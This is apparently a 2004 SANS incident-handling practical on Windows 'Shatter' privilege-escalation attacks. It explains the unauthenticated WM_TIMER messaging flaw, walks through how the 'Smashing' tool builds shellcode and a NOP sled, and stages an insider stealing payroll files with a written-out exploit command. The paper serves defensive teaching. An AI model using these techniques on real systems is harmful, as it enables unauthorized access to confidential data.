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The enemy within: Handling the Insider Threat posed by Shatter Attacks

Submission for SANS GCIH Practical: v.3

Margaret R. Layton
February 6, 2004
Phase 5: Recovery ........................................................................................................... 54
Phase 6: Lessons Learned .............................................................................................. 55
Conclusions .................................................................................................................... 56
Appendix A: Code Decoded ........................................................................................... 58
Appendix B: What are our vulnerabilities? ................................................................. 74
List of References .......................................................................................................... 115
Works Referenced in this paper: .................................................................................. 115
Products Referenced in this paper: ............................................................................... 118

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Summary

Small organizations and companies face unique security challenges in the world. Without the financial resources and sometimes without trained security professionals, smaller companies sometimes lack the vision and foresight to protect against the simplest of security issues. The gaps in their protection can affect everything from the employee’s ability to do their job to the confidentiality of customer data. The reasons for this vary:

- The boss sees the “latest cool thing” and insists that it is implemented without thought given to the security of that item.
- The cost of securing infrastructure gets lost or de-emphasized when other pressing business concerns arise.
- The notion that “we are a small company (organization, whatever) so who would want to hack into us?” prevails, to the danger of all concerned.
- The “IT staff” is frequently one person serving in different roles, and there may be no one else in the company that can relate to the challenges facing the technical world.
- Staying up to date on technology through tradeshows, periodicals, and subscription services is not a priority on the calendar.

In this paper I am going to simulate a real-world situation, which I was recently brought in to evaluate. In the real-world situation, a company had “confidential” files, which had been distributed beyond their intended audience. Essentially, payroll files had become public knowledge among employees, and the company was spending thousands of dollars either in recruitment fees to replace exiting employees, or in raises that had not been budgeted for employees that remained. A friend at the company called me, trying to find the source of their distribution and prevent such access from happening again.

I will use the Incident Handling Process to address an attack. The investigative process of addressing the problem that the company had brought to light all of the “reasons” listed above, and this paper is going to illustrate that even in the smallest of companies or organizations, basic steps need to be taken to secure information and systems, and basic awareness needs to be taught to ensure a secure environment for all. These steps do not need to be costly.

Because of their non-existent security structure, recreation of the actual events was not possible, but simulation of one possible way that the files were accessed and distributed was pretty easy to piece together from the little data that was available. My lab environment is a near recreation of the company environment: a small office, with eighteen users on a small Windows network, with a Network Administrator who has some security awareness but no in-depth training. Using the “Shatter” exploit method, I will simulate an attack that could have led to the exposure that the company
experienced. There are many small companies, daycare centers, charities, and non-profits that operate with similar structures currently in place.

While there is often a lot of media coverage on remotely-exploitable vulnerabilities, worms, Trojans, viruses, and other “bad code”, the local exploit code, or code that can only be run once a user has access to a system, should be considered of equal import by most network administrators since much research gives credibility to the idea that company insiders are the greatest threat to corporate data. “Reports of actual incidents consistently show that insider attacks not only outnumber external attacks, but their damage costs victims even more.” (Skoudis, 2001)

**Statement of Purpose**

The intent of this attack is to simulate a malicious internal user, who with minimal resources can compromise the confidentiality and potentially the integrity of data, leaving in question the contents of files that remain in tact. Using “Smashing”, a coded tool which uses the “Shatter Attack” method as explained in the exploit section of this paper, I will perform privilege escalation and access files that are not intended for general distribution, and that I should not have accessed. For the security novice, privilege escalation, in general, refers to an end user’s (successful) attempt to elevate a “user” role to an “administrator” role. Roles in this example will refer to the user sign-in on a Windows system. To break it all out into plain English, I will log in as a basic user and access administrator-level or “privileged” files. I will copy the target files off the system and simulate unauthorized access and distribution of these files.

This type of attack was chosen to illustrate the dangers that exist in a basic user desktop when applications are unpatched, upgrades are not applied, and an untrusted user has insecure (higher privileged) applications running on the desktop. These dangers exist within organizations, regardless of whether they are connected to the Internet or even to an internal LAN. Interactive access to a machine is all that is needed if proper security measures are not followed. Interactive access can be achieved either through physical access at the console, or through remote tools such as PCAnywhere, Terminal Services, or DameWare Mini Remote Control.

**The Exploit**

“Shatter Attacks take advantage of Windows messages, the basis for the Windows operating system, not being authenticated. A queue accepts and distributes programmatic instructions destined for a given window based on handles and determines how to react to the messages.” (Cooper, 2002)

**Introducing Shatter**

The original “Shatter” attacks were released in August of 2002, and were called “Shatter” because it is an attempt to break Microsoft Windows, using Windows Messaging and WM_TIMER to achieve the end goal of privilege escalation. “Shatter
attack” became the accepted terminology used to describe “attacks against the Windows GUI environment that allow a user to inject code into another process through the use of windows messages.” (Moore, 2003)

To understand this vulnerability, the reader needs to understand that Windows provides a set of privileges to each user. When you log on to the computer, the system identifies who you are and what privileges you require. Administrators, for instance, may have rights to change the security policy of machines and read the event logs, while the typical end user may only have the ability to create files, and may be restricted from reading their logs. The programs that are called by the user typically inherit the privileges of the user. At the root of the vulnerability are processes on the desktop which run with elevated privileges, regardless of which user is utilizing the computer at the time. This is because while users may be restricted in their activities, some applications may require additional privileges to complete their tasks. A Host IDS system, for instance, needs to accomplish tasks that a typical end-user with perhaps e-mail and word processing right may not require. The vulnerability results if an attacker can utilize the privileges owned by a system process.

This vulnerability is actually a remnant of sorts from 16-bit Windows days, when there was just one address space shared by everything on the desktop. When Windows moved to the 32-bit world, separate address spaces exist for each process. However, although address space is not shared, the underlying code does not validate or check whether the information being passed in the WM_TIMER message is correct. The source and destination of the messages being sent is not verified as to whether or not it comes from active valid applications. This vulnerability was discussed as early as 1997 in articles about Windows NT. (Pietrek, 1997)

**The Vulnerabilities within Event-Driven Systems**

The “Shatter attack” is an exploit that makes use of vulnerabilities that are almost unavoidable in event driven systems. An event-driven system was defined in 1992 as “a system of objects which interact with each other using a message-passing mechanism.” (Berson, 1992). With this general description, the end user will bring to mind systems that he has worked with. Most are commonly familiar with GUI event-driven systems such as Windows or Java Virtual Machine. To give a high-level overview of the problem with event-driven systems in general, we refer to a paper by Symeon Xenitellis, where he says: “In an event-driven system there is typically the facility for objects to send events to other objects. Often, there is no access control for this process, even when objects belong to different users, thus it is possible for an unprivileged user to send events to objects that belong to a privileged user.” (Xenitellis, “New Avenue of Attack”, 2002: p.1)

What does this mean to us? In a direct reflection of the above generic vulnerability description, consider Windows as our event-driven system. The facility that it uses to send events is windows messaging. However, the flaw in the messaging system of
windows is that any window can use procedures to send messages to any other window. Some of the Windows message receivers do not check to see if the message they received came from a valid application process.

In both of his papers on generic security vulnerabilities in event-driven systems, Xenitellis demonstrates the use of the WM_TIMER message to execute custom code. This is the same vulnerability that the shatter attack exploits. For more examples of the security issues present in event-driven systems, please refer to his work listed in the References section.

**What Does This Attack Mean?**

When “Shatter” first came to light, in generated a buzz in the newsgroups and a slight buzz in the media. Unfortunately for those who may not be security minded, the follow-up postings disagreed on whether or not this was even an issue, so for most people, it fell by the wayside. In articles evaluating the attack, claims were made similar to this one:

“Despite being around for well over a year, shatter attacks haven’t been much of a real-world problem. Shatter attacks presume an intrusion of attack code on the system, or in other words, a hacker needs to already have an interactive attack program installed and executed on your system in order to begin his or her shatter attack. By the time they can do this, they probably don’t need to do the shatter attack in order to have their way with the system, although it could be useful for privilege escalation at that time.” (Seltzer, 2003)

Reading these statements, and Microsoft’s statements that they originally posted in response to the vulnerability revelation (listed in the following paragraphs), the typical end user would believe this is a minor problem. But computer threats to large corporations and government agencies come from both inside and outside their electronic perimeters, according to recent studies. In the recent CSI report of Computer Crime, they list that “45% of respondents detected unauthorized access by insiders, ... with insider abuse of network access (80%) ... the most cited form of attack.” (CSI, 2003)

Given this statistic, how can any organization, large or small, ignore threats that “requires access?” In addition, given the possibility of remote access to a flawed system through Citrix or Terminal Services, remote exploit of this vulnerability is possible. Chris Paget says, in his FAQ regarding the “Shatter Attack” that “…physical access is NOT required, just a desktop. Terminal Services or Citrix both work perfectly, so ASPs based on either of those are in trouble.”

Microsoft itself downplayed this problem, citing “for the Shatter Attack to do any damage, an intruder must gain access to a user's system.”

http://www.progresstalk.com/archive/index.php/t-49872 Despite their original claims
that it is not a problem, or is a known issue, a patch was released, according to the bulletin, six months after the original Shatter code was posted. In addition, the Microsoft Security Bulletin claims that “...in addition to addressing this vulnerability, the patch also makes changes to several processes that run on the interactive desktop with high privileges. Although none of these would, in the absence of the WM_TIMER vulnerability, enable an attacker to gain privileges on the system, we have included them in the patch to make the services more robust. “

While first denying the problem, it makes changes to “several processes”. That’s interesting! However, their original position was one from a logical standpoint – it was based on one of their laws: If a bad guy can persuade you to run his program on your computer, it's not your computer anymore. (Microsoft’s Ten Immutable Laws)

Most security professionals will agree – if a bad guy can run his program on your computer, that’s a problem. But with e-mail attachments that can be executables, file sharing between networks, and the continued trend toward “openness” and the ability to quickly share information from wherever you are, it is no longer enough to assume perimeter protection will protect you. When you introduce the human factor into the equation, the results to the question “how secure are your systems?” becomes unpredictable. What if the end user has been taking courses at night and “just wants to try something?” What level of expectations can we realistically hold that a technically unsavvy CEOs will pick secure applications that follow all the laws of secure programming? This seems to be an unrealistic goal. The problem of the WM_TIMER issue is twofold:

1. It exists in Microsoft’s structure, they have created an API that allows for vulnerable software to be created
2. Developers of third party products are not delivering secure software, and they share equal responsibility for delivering software vulnerable to these documented issues.

The debate of who is at fault is not as relevant as the fact that although the issue and debate has died down, the problem has not gone away. Systems remain unpatched, people remain blind to the insider threat since it does not necessarily employ remote mechanisms, and what is more, patched systems may not be fixed.

A year after the Shatter code was released, Oliver Lavery writes a paper to show how the Shatter Attack is still a problem. In this paper he illustrates that while Microsoft has released a patch to fix the original flaw (in WM_TIMER), the underlying problem which exists in the basic messaging system, remains as released and untouched (Lavery, 2003: p.6) Applications that are developed to run with system privileges may not follow Microsoft’s recommended security practices, and these applications would allow the vulnerability to be exploited. As he pointed out ”'I think the point that many people have missed in the past is that this is not a single attack, it's a type of attack,’ Lavery wrote in an e-mail interview. 'Taken alone, each instance of a shatter attack is a problem, but not a critical one. The fact that this type of hole is present in many applications, including parts of Windows itself, makes the problem much more serious.'” (Lemos, 2003)
Unless companies focus on the insider threat and plug the holes that require access to the box, they will not be secure, and neither will anyone’s information residing within those companies.

**Specifics of the Shatter Attack**

**References to the Vulnerability:**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Name</th>
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**Additional references to related exploits include:**

**NetDDE Escalation and GetAD:**

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<th>Reference</th>
<th>Name</th>
<th>Source</th>
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For full description of this vulnerability and exploit, refer to the following GIAC paper: [GetAD exploit and the Insider](#) While this paper focuses on the GetAD exploit and how an insider uses it to provide remote access and information to an outsider, the paper you are reading now focuses on how that remote access and connection is not even necessary to potentially damage a company that is oblivious to the insider threat.
## Shatter Attack in Windows XP

<table>
<thead>
<tr>
<th>Reference</th>
<th>CAN-2003-0897</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>&quot;Shatter&quot; vulnerability in CommCtl32.dll in Windows XP may allow local users to execute arbitrary code by sending (1) BCM_GETTEXTMARGIN or (2) BCM_SETTEXTMARGIN button control messages to privileged applications.</td>
</tr>
<tr>
<td>Source</td>
<td><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0897">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0897</a></td>
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<tr>
<th>Reference</th>
<th>2003-10/0233</th>
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<tbody>
<tr>
<td>Name</td>
<td>Shatter XP</td>
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</table>

## Shatter Attack in Dameware

<table>
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<tr>
<th>Reference</th>
<th>BugTraq ID 8395</th>
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<tbody>
<tr>
<td>Name</td>
<td>DameWare Mini-RC Shatter</td>
</tr>
<tr>
<td>Source</td>
<td><a href="http://www.securityfocus.com/bid/8395">http://www.securityfocus.com/bid/8395</a></td>
</tr>
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</table>

## VNC-based shatter vulnerability

<table>
<thead>
<tr>
<th>Reference</th>
<th>CAN-2002-0971</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>Vulnerability in VNC, TightVNC, and TridiaVNC allows local users to execute arbitrary code as LocalSystem by using the Win32 Messaging System to bypass the VNC GUI and access the &quot;Add new clients&quot; dialogue box.</td>
</tr>
<tr>
<td>Source</td>
<td><a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0971">http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0971</a></td>
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<tr>
<th>Reference</th>
<th>BUGTRAQ:20020821</th>
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<tbody>
<tr>
<td>Name</td>
<td>Win32 API 'shatter' vulnerability found in VNC-based products</td>
</tr>
<tr>
<td>Source</td>
<td><a href="http://marc.theaimsgroup.com/?l=bugtraq&amp;m=102994289123085&amp;w=2">http://marc.theaimsgroup.com/?l=bugtraq&amp;m=102994289123085&amp;w=2</a></td>
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## Utility Manager Privilege Escalation Vulnerability

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<tr>
<th>Reference</th>
<th>BugTraq ID 8154</th>
</tr>
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<tbody>
<tr>
<td>Name</td>
<td>Microsoft Windows Accessibility Utility Manager Privilege Escalation Vulnerability</td>
</tr>
<tr>
<td>Source</td>
<td><a href="http://www.securityfocus.com/bid/8154">http://www.securityfocus.com/bid/8154</a></td>
</tr>
</tbody>
</table>
**Reference** | CAN-2003-0350  
**Name** | The control for listing accessibility options in the Accessibility Utility Manager on Windows 2000 (ListView) does not properly handle Windows messages, which allows local users to execute arbitrary code via a "Shatter" style message to the Utility Manager that references a user-controlled callback function.  
**Source** | http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0350

**Reference** | Microsoft Security Bulletin MS03-025  
**Name** | Flaw in Windows Message Handling through Utility Manager Could Enable Privilege Elevation  

**Reference** | X-Force 12543  
**Name** | win2k-accessibility-gain-privileges  
**Source** | http://xforce.iss.net/xforce/xfdb/12543

**Vulnerability/Exploit Details:**

**Classification:** Design Error – A failure in a program that results from conditions that were not planned for in its design

**Vulnerability Impact** – (Depends on the implementation.) Privilege Escalation, Code injection, possible buffer overflow

**Operating Systems** – Microsoft’s KnowledgeBase lists the following programs as vulnerable to the WM_TIMER issue. Depending on which variation of the “shatter attack” is used, this list may expand/contract. (i.e. the attack method used in XP Visual Styles is not possible in Windows NT). This list comes from Microsoft Knowledgebase Article 328310, and all of these are vulnerable to the underlying WM_TIMER issue that is used as the basis for the exploit in this paper.

- Microsoft Windows XP 64-Bit Edition SP1
- Microsoft Windows XP 64-Bit Edition
- Microsoft Windows XP Home Edition
- Microsoft Windows XP Home Edition SP1
- Microsoft Windows XP Professional
- Microsoft Windows XP Professional SP1
- Microsoft Windows 2000 Advanced Server
• Microsoft Windows 2000 Advanced Server SP1
• Microsoft Windows 2000 Advanced Server SP2
• Microsoft Windows 2000 Advanced Server SP3
• Microsoft Windows 2000 Professional
• Microsoft Windows 2000 Professional SP1
• Microsoft Windows 2000 Professional SP2
• Microsoft Windows 2000 Professional SP3
• Microsoft Windows 2000 Server
• Microsoft Windows 2000 Server SP1
• Microsoft Windows 2000 Server SP2
• Microsoft Windows 2000 Server SP3
• Microsoft Windows NT Server 4.0
• Microsoft Windows NT Server 4.0 SP1
• Microsoft Windows NT Server 4.0 SP2
• Microsoft Windows NT Server 4.0 SP3
• Microsoft Windows NT Server 4.0 SP4
• Microsoft Windows NT Server 4.0 SP5
• Microsoft Windows NT Server 4.0 SP6
• Microsoft Windows NT Server 4.0 SP6a
• Microsoft Windows NT Server 4.0 Terminal Server Edition
• Microsoft Windows NT Server 4.0 Terminal Server Edition SP4
• Microsoft Windows NT Server 4.0 Terminal Server Edition SP5
• Microsoft Windows NT Server 4.0 Terminal Server Edition SP6
• Microsoft Windows NT Workstation 4.0
• Microsoft Windows NT Workstation 4.0 SP1
• Microsoft Windows NT Workstation 4.0 SP2
• Microsoft Windows NT Workstation 4.0 SP3
• Microsoft Windows NT Workstation 4.0 SP4
• Microsoft Windows NT Workstation 4.0 SP5
• Microsoft Windows NT Workstation 4.0 SP6
• Microsoft Windows NT Workstation 4.0 SP6a

Protocols/Services/Applications:

The “Smashing” code can exploit any system that is vulnerable to the WM_TIMER issue. It has several ways of sending WM_TIMER messages, and two ways of injecting code into windows. This is an exploit affecting the Win32API, and more specifically it can take advantage of any program that uses these messages in a privileged state. Because of this, several applications are vulnerable, including: DameWare Mini Remote Control, McAfee VirusScan, VNC, and possibly different Windows of other applications. Remote connections to machines can be exploited if connecting through console logon, Terminal Services, or Citrix, but the code is considered a “local” exploit, meaning that the malicious user needs to have (interactive) access to the machine for the exploit to work.

Brief Description:

The original “shatter” attack used a function of Windows called WM_TIMER. This function has a flaw which can be described as follows...
“…A security vulnerability results because it’s possible for one process in the interactive desktop to use a WM_TIMER message to cause another process to execute a callback function at the address of its choice, even if the second process did not set a timer.” (CIAC, 2002)

There are several places that can be used to reference this vulnerability and why the vulnerability is a problem, here we quote Microsoft:

“By default, several of the processes that are running in the interactive desktop do so with LocalSystem privileges. As a result, an attacker who can log on to a system interactively can potentially run a program that would levy a WM_TIMER request upon such a process, causing it to take any action the attacker specified. In this scenario, the attacker can have complete control over the system.”

Microsoft Knowledge Base Article – 328310

The “Smashing” code takes the basic “shatter” exploit and packages it in a repeatable executable, which searches the system for an application or process vulnerable to the WM_TIMER issue and then proceeds to exploit the vulnerability. This tool can also be used to enumerate windows for research, as it will report all thread IDs and top-level window handles owned by different processes. Creative malicious users may use this for reconnaissance to research possible attacks on the system.

Variants:

Since the early release of “shatter” exploit code, additional exploits using the same method have been discovered in several different functions within Windows, including EM_SETWORDBREAKPROC, BCM_GETTEXTMARGIN and BCM_SETTEXTMARGIN, LVM_SORTITEMS, LVM_SORTITEMSEX. Possibly vulnerable messages (as referenced by Moore, 2003) EM_STREAMOUT, EM_STREAMIN, EM_SETHYPHENATEINFO, and TVM_SORTCHILDRENCB. He also references additional messages that can be used for overwriting of arbitrary memory locations.

References on variants of this exploit can be found in the “Additional references to related exploits” section.

Vulnerability References:

The code for “smashing” was found on the references for BlackHat 2003 http://www.blackhat.com/images/bh-media/tooldownload-sm.gif along with Chris Paget’s presentation “Exploits & Information about Shatter Attacks”

Additional References on the original Shatter vulnerability:

“Exploiting Design Flaws in the Win32 API for Privilege Escalation” whitepaper by Chris Paget (aka FOON) at http://security.tombom.co.uk/shatter.html

“Shatter attacks - more techniques, more detail, more juicy goodness” followup by Chris Paget (aka FOON) at http://security.tombom.co.uk/moreshatter.html
As we have discussed, Windows applications are event driven. The exploit within Smashing takes advantage if WM_TIMER or DefWindowProc(). (There are other messages that can be used as you will see in the Code section.) The Windows messages of these functions pass information to windows procedures. (For more information on Windows Procedures, please visit Microsoft’s library available from MSDN – the Microsoft Developer Network.) The Windows messages can be generated by system input or by applications – and as we have discussed, different processes can send messages to other processes within the desktop. The vulnerability will exist if processes on an interactive desktop are of higher privilege then the end user. These can be a third-party application (such as VirusScan), or a process from within Windows itself. (My experimentations with the code, for example, showed that when the “Welcome to Windows 2000” screen was implemented on different unpatched versions of Win2K, the system was vulnerable.) WM_TIMER is easily exploitable, since it is used to set the timer that determines when the callback function will be executed. If one application creates a specially-crafted message that sets the address of the callback function to their own needs and than sends a WM_TIMER message with that specially-crafted message to another application, that second process does not do any validity checking on the message, and assumes that it is supposed to execute that which is contained within the message.
Code unraveled

In this section I will walk through the code. In case you are not interested in looking at the code, I have summarized what the code is doing in this section, with the initial points being displayed according to the author’s “readme” that is attached to the code. Appendix A will give the code, with section headers that correspond with this explanation. This way, even the non-programmer can understand the exploit from the bottom level. Because the code is written with lots of calls within itself, I will describe what the exploit is doing in order, which may not necessarily appear in the code in the same order. In addition, the code is fairly well commented, so I only add pointers in the code itself to illustrate the walkthrough. My input is described in bold. (This would be any input that may change the outcome of the exploit)

1) Load the system with low (or no) privileges. I logged in as Guest on the target machine.
2) Smashing is run from the command prompt with the following parameters
   Smashing [options] <Command line>

OPTIONS within Smashing include the following:

- /i (Interactive) This option will tell Smashing to start the intended process in interactive mode. For instance, if you want to send cmd.exe, you will want it interactive so that you can then type commands into the Command shell.
- /t (Threads) This targets threads instead of processes and send the messages to threads with PostThreadMessages.
- /m (Message box) This option puts shellcode in the window caption of its own created message box.
- /e (Very verbose)
- /v (Verbose) This option will report back to the screen details about what it is doing and what it finds in processes and windows. (/v /v will also mimic /e above.)
- /p:PID (Process ID) Smashing will target the process ID entered (in decimal).
- /b (Brute force) Smashing will run through every process, both through windows and threads, until it is successful.
- /w (Windows) Smashing will call EnumWindows and target every window handle returned by the system.

for my attempts at exploits, I variously ran Smashing /w /v /v /i cmd.exe and Smashing /b /v /v /i cmd.exe

3) Smashing first determines the username and what privileges it currently has.
4) Smashing opens a named pipe within a separate thread handle.
5) Step 5 is the creation of basic shell code. The programmer defines header files and sets up programs and defines variables to make the exploit work. To break down the process of building the exploit, this will be explained in steps:
a. Create shell code. The shell code is 93 bytes in length. There are some null bytes in the code. At the moment, a graphical interpretation of the code might resemble this:

```
0  4  8  21  25  93
```

b. Allocate memory of 500000

c. Find Windows GetProcAddress and LoadLibrary – insert these values to the shell code. Insert the 4 byte address into the previous “null value” fields in the memory block.

```
0  4  8  21  25  93
```

```
LoadLibraryAdd
```

```
GetProcAddress
```

d. Create a NOP block of ½ a meg. For non-programmers, this means he has created empty space in the program (through No Operation). This means that if the targeted system returns to any point within this “NOP block”, nothing will happen and the system will continue looking through the block until it finds the exploit code, which would essentially be the next instruction.

e. He then creates a tag at the beginning of the block for debugging purposes, and copies his 93 bytes of exploit at the end.

```
DEBUG
```

```
TAG
```

```
93 bytes shell code
```

f. The big unknown in the program is what Program the attacker will try to run. I was doing a fairly simple attack, all I wanted was a command shell returned. My Program Name, in this case, was essentially cmd.exe. Using this as the assumption, going forward the code would then insert the program name at the end of the shell code. As demonstrated below, this changes the size of the NOP block somewhat, but still gives enough of the empty space to ensure that a large chunk of address space will “slide” to the exploit code. The remainder of the explanation we will refer to this finished block as the “payload code”.

```
DEBUG
```

```
TAG
```

```
93 bytes shell code cmd.exe
```

6) Smashing enumerates the threads within each target process. (If you have selected /p:PID as an option, this will only be one process.) In our case, a large amount of processes were attacked.

7) Each thread has associated windows, and these are also enumerated. The program repeats this loop until all threads and windows are enumerated. This is done through the EnumThreadWindows function.

8) Payload code is sent to each window handle (through SetWindowsText())
9) Each window handle sees the Payload code and as a result receives the WM_TIMER messages with callbacks to other addresses.

10) Those callbacks, if they land within the NOP block of the memory address, will cause the targeted process to run the shellcode at the end of the payload.

11) The shellcode tells Smashing to load again with high privileges through ShellExecute().

12) The high-privileged instance of Smashing connects to the named pipe in #3 and receives parameters for operation.

13) The low-privileged instantiation of Smashing quits when it has passed its parameters on.

14) The high-privileged instantiation of Smashing looks at the parameters, and decides what it is supposed to do. It calls CreateProcess() accordingly.

15) If the process starts successfully, then the high-privileged Smashing quits too.

Windows Processes, functions, terms referenced above:


CreateProcess(): The CreateProcess function creates a new process and its primary thread.

ShellExecute(): Performs an operation on a specified file.

EnumThreadWindows: Enumerates all windows associated with a thread by passing the handle to each window, in turn, to an application-defined callback function. This process will continue until the last window is enumerated or the callback function returns FALSE.

GetProcAddress: Takes as parameters the DLL module handle (returned by either LoadLibrary, AfxLoadLibrary, or GetModuleHandle), and either the name of the function you want to call or the function's export ordinal.

LoadLibrary: Maps the specified executable module into the address space of the calling process.

How to Protect Against Shatter Attacks

While debate continues as to whether this kind of attack has effective protection to cover all circumstances, there are some things that can be done. Because the underlying vulnerability is the same as that in a GetAd exploit, these protections are the same or similar to those listed in “GetAd and the Insider”:

Patch the system

Microsoft has released several patches, depending on the type of system that you have...
### Assign permissions to processes

Locking down cmd.exe and command.exe to only allow administrator access would alleviate the problem of users running command line tools such as the Shatter program.

Locking down systems to minimize the possibility for reconnaissance from within would help alleviate the insider threat issue, along with basic policies and procedures that are outlined in the Incident Handling portion of the paper.

### Monitoring System Usage

<table>
<thead>
<tr>
<th>System</th>
<th>Patch Name</th>
<th>Link</th>
</tr>
</thead>
</table>
The privilege escalation points of the Shatter and Smashing attacks may be detected by Host Intrusion Detection systems if they are configured to monitor usage by processes. For instance, a Host IDS may report a user logged on at the guest account if a process with elevated privileges is detected at the same time. While this is not prevention, it may lead to a rapid response in this situation. Log monitoring can be your friend. The Windows event log, if properly configured, can also help with early detection. However, everything being logged is only an effective measure if tools are in place to analyze those logs in a timely manner and detect anomalies.

**The Attack**

This section will describe how the attack theoretically took place. It will include a description of the environment (both victim and attacker) and will have information on the stages that the (theoretical) attacker took in order to accomplish their goal. For this section, keep in mind the goal of the attacker, which is to access and read (if possible, edit!) confidential salary information.

**The Environment**

**The Target Network**

Since I am replicating a theoretical “real world” scenario, I am going to describe the “real” environment, with pertinent information on the company. (Names have been changed to protect the innocent!)

StarStar is a small management company with overseas concerns. There are 11 employees in the office. The staff is made up of CEO, CFO, 3 Finance Staff, Sales/Marketing, Network Administrator, VP of Administration, Receptionist, and two assistants. The Assistant to the CEO also deals with the CEOs personal finance as well as Human Resource issues such as payroll, Paid Time Off, and recruiting practices. The receptionist fills in at the Assistant’s desk when the assistant is out on leave, but does not handle any of the HR items.

A similar exploit was covered in the practical GetAD exploit and the Insider. Unlike the environment described in that paper, StarStar is on a tight budget. Security was an afterthought. They have been operating since Windows for Workgroups and were thrilled with what the technology had brought them so far. Because they are a privately held company, they operate on the notion that they are “too small to be hacked.” In addition, since their only connection to the Internet was through a single modem, they did not worry that much about the external attacks.

Their Cable Modem connects into an Instant Broadband™EtherFast®Cable/DSL Firewall Router with 4-Port Switch/VPN, which then connects to a hub which has all of the workstations connected to it. The only workstation connected directly on the router...
is that of the Network Administrator. While the router has VPN (Virtual Private Network) and DMZ capabilities, these are not used. The website is hosted at the ISP, as are their e-mail accounts. The single policy on the firewall is “deny unless expressly permitted incoming traffic.”

The server is used simply for file and application sharing/backups/etc. Anything that should be backed up is placed there in protected user directories once a week. The Financial applications are shared through this server, too. The finance office has an additional analog modem that dials into various banks for the purpose of transferring funds. It is disconnected when not in use, and requires Smartcard access to the accounts when it is connected.

Most of the Desktops have the exact same configuration:

Windows 2000 Service Pack 3
McAfee VirusScan 7.0
Microsoft Office 2000 Professional
Outlook Express
QuickBooks Timer (for tracking time sheets)
WinZip 8.x
ESS-Code 7.8 (used in the decoding of e-mails)
Ghost

In addition, the finance controller machine has some banking software on it from various financial institutions, and the (Target) Assistant has ADP Payroll software loaded.

Although it is 2003, the last “major upgrade” of software/hardware took place just prior to 2000, in preparation for Y2K. Prior to that, the machines in the office were running Windows95. The machines are on a 5 year ROI schedule, and the company is determined to push them to the limit. They were built in a “white box” environment by consulting firm – these systems were popular at the end of the 1990s. The basic hardware specs were:
Genuine Intel Pentium 3 300 MHz system
CD Drive
Diskette Drive
96 Meg RAM

The file-sharing server had a 10 disk RAID array, and a tape backup unit running ArcServe attached to it. Because it is not used or even targeted with this attack, I am not going to further outline the system so as not to confuse the issue.

The basic network diagram can be found in Figure 1.
Figure 1 - Network Diagram

- Marketing
- Receptionist
- CEO
- CEO's Assistant
- TARGET
- Shared Laser Printer
- File Sharing Server
- 2 Com 12 port hub
- Instant Broadband™/EtherFast®/Cable/DSL Firewall Router with 4-Port Switch/VPN (Linksys)
- Cable Modem
- Internet
- Network Administrator
- CFO
- Finance 1
- Finance 2
- Finance 3
- VP Administration
- Assistant
- Banking modem
The Victim
Payroll files are in c:\ADP\xxx.xxx

Spreadsheets that track payroll amounts, raises, time off, hired/fired in a directory that is only accessible to administrators is in a folder called C:\Protected.

The CEO’s personal information is in similar spreadsheets that are in C:\CEOFiles that are only accessible by the Assistant’s account and the CEO’s account through Windows File Sharing.

Instead of the standard CD drive, the victim has a CD/RW drive. All of these confidential directories are backed up to CD through a local CD-RW drive once a week and given to the CEO for off-site storage. He does not want these files stored on the network server, because they are “too confidential”.

The Source
In the scenario we are recreating here, the source is the target, because it is an internal attack. How this is accomplished is explained in the next section: Staging the Attack.

The Source in this case is a disgruntled employee, who did not receive the raise they expected. Evaluating the insider threat within an organization may reveal similar situations of jealousy, bitterness, etc, Being aware that these situations may exist in the smallest of offices is the first step in securing the infrastructure from the insider threat.
**Staging the Attack**

In this section, I will take you through the (theoretical) steps that the attacker has taken. In actuality, the attack is very simple. The attack in this case is an Insider Threat, one that is intentional, but with non-destructive intent. In this case, while it is relatively easy to modify data in the target applications, the checks on the payroll system would not allow it to go through, so the belief of the company is that this was information gathering attack.

The insider scenario painted here is that I am playing the role of the receptionist. When the Assistant to the CEO goes on leave, I forward the switchboard to her desk, and sit there to be able to respond to the CEO’s needs. I can’t access things that aren’t allowed to the guest account, but I can access Quickbooks to enter my timesheet, and Microsoft office to provide support. I use my own Windows account.

**Reconnaissance**

For a network insider, an attack of this kind may not require any reconnaissance. Because all the machines are configured pretty much the same, I can explore vulnerabilities within standard-install applications on my own time. I can research them from home, download them at home, and never need any additional tools on the machine. By running some basic Google searches at home, I discover a vulnerability exists in the version of VirusScan we are running, perhaps even in the Windows version we are running. In addition, what is this program here? (see window with arrow below...)

I’m pretty friendly with the IT guy, so I ask him what that means. He tells me it is a “remote control” program – he uses it to install/upgrade programs on people’s desktops after they go home. Rather than walking computer to computer, he just logs in remotely. This icon is for Dameware Mini-Remote Control.

I can also check out the settings on my system by simply exploring my event viewer logs in Windows. What does it seem that we are auditing? Not much on my machine. Provided I don’t fail at anything, there won’t be much to log....
Scanning
What scanning? Where? Again, this is a step that may not be necessary if you are susceptible to the Insider Threat. Since I know as the receptionist that I have the opportunity every day at lunch and every month or two for much longer to sit at the target computer, I can just happily await my opportunity.

Exploiting the system
Today is the day I am going to access the payroll files. I don’t think I am being paid fairly, and my review was not very good, so I received no pay raise this year. I am fuming mad! I was talking with my boyfriend and complaining about how I am sure that I am not being paid on par with the other assistants. Last night, I had my boyfriend find my Smashing tool on the Internet. He showed me how it works and gave it to me on a CD.

1. I logon to the system.
2. I look around, and see C:\Protected. Oooh – what is that? I can’t access it – I get the following error.
3. That's what I want, without a doubt. To make sure nobody sees my work, I start Excel so I have a screen to quickly switch to in case somebody comes in.

4. I have my “Smashing code” on CD. I insert my CD into the drive, and run `cmd.exe` by selecting Start, Run (as illustrated below) and typing my command.

5. This gives me a lovely “Command Prompt” – a screen that requires text input.

6. I type my command. In this case, my command is “Newsmashing”. It returns telling me the command line options I have.
Well, I am pretty sure there is something exploitable on the system. I think I want to attack Windows.

7. So I open the Windows I think are exploitable... Dameware, ESS-Code, QuickBooks Timer, VirusScan Console...

The ESS Windows, for instance, look like this (there is something interesting about to happen to this window):

8. I type my command, which looks like this:

D:\SANS\Newsmashing\Debug>newsmashing /w /i /v /v cmd.exe
9. Because I have specified the /v /v (Very Verbose) mode, I get a return like this:

Window bruteforce switch specified
